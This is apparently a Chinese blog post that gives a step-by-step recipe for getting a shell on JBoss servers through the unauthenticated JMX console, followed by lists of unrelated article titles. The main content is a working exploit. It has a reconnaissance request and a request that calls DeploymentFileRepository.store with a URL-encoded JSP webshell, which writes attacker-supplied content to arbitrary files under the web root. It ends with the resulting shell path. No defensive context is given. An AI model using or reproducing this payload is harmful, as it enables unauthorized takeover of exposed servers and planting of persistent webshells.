一、jboss未授权访问Getshell

1.jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo

2./jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=AAA.war&argType=java.lang.String&arg1=wh&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%69%66%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%66%22%29%21%3d%6e%75%6c%6c%29%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%4f%75%74%70%75%74%53%74%72%65%61%6d%28%61%70%70%6c%69%63%61%74%69%6f%6e%2e%67%65%74%52%65%61%6c%50%61%74%68%28%22%2f%22%29%2b%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%66%22%29%29%29%2e%77%72%69%74%65%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%74%22%29%2e%67%65%74%42%79%74%65%73%28%29%29%3b%25%3e%3c%61%20%68%72%65%66%3d%22%4f%6e%65%5f%4f%4b%22%3e%3c%2f%61%3e&argType=boolean&arg4=True

3.SHELL:http://localhost/AAA/wh.jsp

最新文章

1. 枚举扩展方法获取枚举Description
2. js平滑滚动到顶部,底部,指定地方
3. NGUI之输入文本框的使用
4. [Exchange]使用EWS托管API2.0同步邮箱
5. 转：Tomcat安装配置及站点说明
6. 3 Servlet监听器
7. Transact-SQL
8. 三年所有JAVA技术文档列表
9. python将PNG格式的图片转化成为jpg
10. 批处理关闭防火墙.bat
11. 集美大学1414-团队作业2:需求分析&原型设计分数发布
12. 7.STL
13. 转--python之正则入门
14. zip&ftp命令
15. ubuntu 的远程命令行，老是不能支持联想
16. Apache提供的dbUtils
17. Windows内核编程之：分页内存与非分页内存
18. 57. 激活office时出下以下问题的解决方案
19. android.database.CursorIndexOutOfBoundsException:Index -1 requested, with a size of 1(zz)
20. datetable dt.select使用詳情

热门文章

1. 2、Appium Desktop 使用介绍
2. 剑指offer第二版面试题6：重建二叉树（JAVA版）
3. 通过MyEclipse操作数据库，执行sql语句使我们不用切换多个工具，直接工作，方便快捷
4. JUC源码分析-集合篇（十）LinkedTransferQueue
5. 百度编译器ueditor目录创建失败问题解决
6. linux 创建用户并限制其访问目录
7. C语言之文件包含
8. Ansible角色
9. centos7.x部署php7.0、mysql
10. day02 mysql基本语句 存储引擎 数据类型 完整性约束